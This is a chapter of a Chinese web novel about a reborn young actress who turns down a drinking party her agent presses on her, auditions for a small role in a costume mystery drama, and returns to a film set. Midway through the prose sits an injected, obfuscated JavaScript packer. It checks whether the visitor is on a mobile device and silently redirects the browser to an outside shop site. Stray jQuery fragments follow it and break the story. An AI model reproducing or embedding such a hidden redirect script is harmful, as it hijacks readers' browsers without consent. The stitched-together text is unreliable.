送礼回程,翟钰也不赶时间,也不怕出汗狼狈,没有打车,而是选择公共交通回家。
白彦泽的助理聂明倒是说要给她安排车辆,但她拒绝了。
还是送礼送晚了,翟钰想,要是在拍这部戏之前,先见到聂明,她对角色还会有不同的演绎方式。
收到聂明消息的时候,她还在投递简历。
这几天,通过她不懈的努力,有两家剧组给了她回复,约了试镜时间。其中一家,约在明天上午。
都不是戏份很重的角色,但翟钰不挑,她在这个圈子里还是新人,能有角色演,就很知足。
她很快的通过聂明的好友申请。
聂明说要给她回礼,问她方便接收的时间跟地点,还说让她千万不要拒绝。
她当然不会拒绝。想了想,回道。“先谢谢回礼,但我这两天忙于拍摄,没时间回公司,等我拍摄完成后,再跟您联系吧,就是时间比较远一点。”
对方给她送回礼,不管是安排公司人过来,还是请跑腿,她都要合理利用一下,让对方送到公司,她亲自接收。
“好的,那我等您消息。”聂明回。
“在哪呢?”好几天没联系她的钱途,给她打电话。
“地铁上。”翟钰回。
“一会儿来公司,化个妆,晚上领导要参加一个行业内部的酒会,你陪着过去。”说着钱途声音压低。“别不知道好赖拒绝,你现在没多少工作,就跟着喝顿酒,当当花瓶,要是能捞到点角色,就赚了。”
“我不舒服,找别人吧。”翟钰一听,就拒绝了。
他们公司的老板热衷社交,圈内只要有酒会,聚会,喊他,他一定会去。
一堆扛着什么制片、策划、监制、导演头衔的人,聚在一起,喝高了后,怀才不遇,骂爹骂妈的。
这种无聊聚会,他们自己聚在一起就算了,还偏要带点小艺人去给捧场,以此来衬托,他们在这个圈子的地位。
“你傻不傻,要不是你最近有点热度,这种事都轮不到你。”电话那头,钱途还在劝。“多少人上赶着,都去不上。”翟钰以为自己是谁?一部剧没播,说是艺人,就是素人。
钱途说的是真心话,这圈子,有时候一个角色,用谁,不用谁,不是谁比谁更合适,而是,这我朋友推荐的,给个面儿~,这是我哥们公司的,给安排个角色。
去一趟,一旦能接到好角色呢,喝点酒,被人摸两把,不吃亏。
“我真的很累,秃哥,这个机会给别人吧,我现在在地铁上,说话不方便,没别的事情,我就挂了。”
翟钰再次拒绝,挂掉电话。
“老大,她不去,挂我电话。”钱途扬了扬手机,对胡文琳说。
“我听书玥经纪人说,翟钰这部剧演的挺出彩呢,很有自己想法。”胡文琳对钱途说。“还问我,一旦翟钰演出来后,谁带。老钱,你有啥想法没?”
“我能有啥想法,我一直带的都是新人,只要演出来,都要给别的经纪人。”钱途说。
“其实,你跟老板提一提,也不一定没机会。”胡文琳暗示。“手下要是有看好的,尝试带一带,也能多赚点。”
钱途听明白胡文琳的意思,翟钰那边最近不听话,胡文琳想上手段,到时候还需要自己配合。
但翟钰这个小姑娘,跟个倔驴似的,他压制不住。
要是那种能管制住的小姑娘,不用胡文琳提,他也想办法,翟钰外型好,人有灵性,带一点明星相。搞好了,是颗摇钱树。
“领导咋安排,我就咋做。老大,我虽然跟老板关系好,那中间还隔着你呀。”主动,他是不会主动的。但是,要是真能摘到桃字,他也不拒绝。
胡文琳笑笑。
钱途这个人,说他聪明,他笨。说他笨吧,人情世故上,做的确实比一般人强。“好,等公司忙完这段,我跟老板提。”
从地铁出来,又骑了一会共享单车,翟钰才回到自己租住的公寓,艺人,明星,演艺圈……听起来光鲜亮丽的,其实,他们要是不红,赚的还不如普通白领多,也不如普通白领稳定。但为了私密性,还不能跟人合租,辛辛苦苦拍戏,片酬都给了房东。
快速的冲了一个澡,翟钰终于能躺在床上,拿起旁边圆滚滚的柴犬靠枕,闭目养神一小会,又强迫自己睁开眼睛,找出明天要试镜的电视剧的原著小说来看。
她要参与试镜的是一部古装悬疑剧,这部剧这个角色,她上辈子演过,并靠着这个角色小小的出一下圈。
虽然演过,但毕竟也隔了很久,她还是仔细的挑出他们这个故事单元,仔细的读起来。
传承老字号《清河堂》药馆最近糟了邪祟,先是小孙子突然染病身亡,然后是家里的老夫人半夜跳井,紧接着馆主大儿子当街狂笑,吐血而亡……短短一个月,全家十六口,除了馆主一人活命,全都离奇死亡。
县令自然不信邪祟之说,但也毫无头绪,只好请来男女主,俩人细细查探,抽丝剥茧,排除虚假信息,最终将真凶找出。
真凶是隔壁书馆那个看似文弱的先生,原因是他的妻子是隔壁这个庸医医死的。为了报复,他就杀了医馆全家。
“冤有头,债有主,你杀了我就好,为什么要杀我全家!”
“因为我要你跟我一样,余生都在孤苦思念中度过!哈哈哈……”
她试镜的是文弱先生那个被医治死了了妻子,在故事中,只活在回忆里,没几个镜头,但谁能想到呢,就这几个镜头,因为剧本身排的好,加上她的颜值出众,一下子出圈了,有了热度。
上辈子,她争取这个角色的时候,还浑浑噩噩的,没有从黑热搜中走出来,面试的稀里糊涂。后来,面试导演说,因为她颜值高,在所有面试这个角色里,是最亮眼的,所以选择她。
这辈子,就算有先知,她不想稀里糊涂的去参与试镜,一个只有几句描写,书生深爱的妻子,要怎么演呢?
……
第二日,翟钰按照约定的时间,准时到达,今天试镜的人很多,各种角色都有,翟钰交了资料后,等着一会喊她的名字。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721855|208702||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小角色,都是好几个人一进去试镜,试镜过程也很快。人员进进出出,一个小角色跟着一个小角色,很快,就轮到翟钰他们组。
“喊到序号先说名字,一句台词‘谭郎!’一分钟准备。”剧组工作人员,见他们都进来后,说。
一行五人,翟钰排第四号。
“1号……”“谭郎……”
“2号……”“谭郎……”
“3号……”“谭郎……”
“4号……”“……谭郎”
“5号……”“谭郎……”
五个人,其他四个都是先喊名字,再演或深情或高兴或娇嗔。唯独翟钰不同,她目光看向虚空,仿佛对面真的站着一个人,深情,喜悦,略带一丝羞涩,而后,缓缓的喊出台词。
“她”是谭郎的白月光,是回忆里的人,她虽然在演戏,但是是谭郎的回忆里出现了她。思念,是先想到这个人,然后才幻想她在呼唤他。
几人表演结束后,就被请出去了,不知道里面在讨论什么。“你们回去等结果,有消息会小绿通知你们。”
“我觉得那个翟钰不错,那双眼睛,自带深情,被这么一双眼睛爱过,书生做什么都不稀奇。”
“我也同意,她是有自己想法的,表演的很有层次,知道自己是回忆中的人物,其他几个就是很普通的日常演法。”
“她签公司没?没签我都心动了,有灵气,假以时日,是个好苗子。”
“是呀,形象好,有演技,现在这样的年轻演员,不多呀。”
“签了,签的钱博刚的公司。”有人拿起简历,看向演艺公司那一栏。
“那老小子的公司呀,哎!”
……
翟钰在《盛夏夜不眠》最后一场戏,是外景,在一个封闭路段。
这个封闭路段有两场戏,一场是男女主初相遇。还有一场是翟钰演的角色,引导女三发现男女主在一起,让嫉妒的女三去伤害女主。
相遇戏在傍晚,撕X戏是夜戏。
翟钰到的时候,剧组还在拍男女主相遇的戏份。
“已经NG好几场了。”女三谢涵看到翟钰,就叽里咕噜的跟她分享。“第一次,黄书玥的打光板位置不对,她的腿不够白。第二次,祁海涛的西装皱了,不好看。第三次,笑场了。”
这场戏其实不难演,下班的路上,男主的司机开车莽撞,差点撞到路边的一只小狗,女主骑着自行车路过,看到小狗危险,用自己跟自行车逼停男主的车,救下小狗。
但女主自己却摔伤了。
男主看到女主受伤,发扬绅士品格,将她抱上车,送去医院。
但,这里的重点是男主下车,抱起女主,四目相对那瞬间,要有氛围感。
“一会导演又要发火了。”剧开拍以来,导演的火气与日俱增。
“你去试镜那个新角色怎么样啊?”谢涵问翟钰。
“明天给结果。”
“要是过了,找公司签合同可要注意,我听说,有小艺人自己接活,被公司整治了!”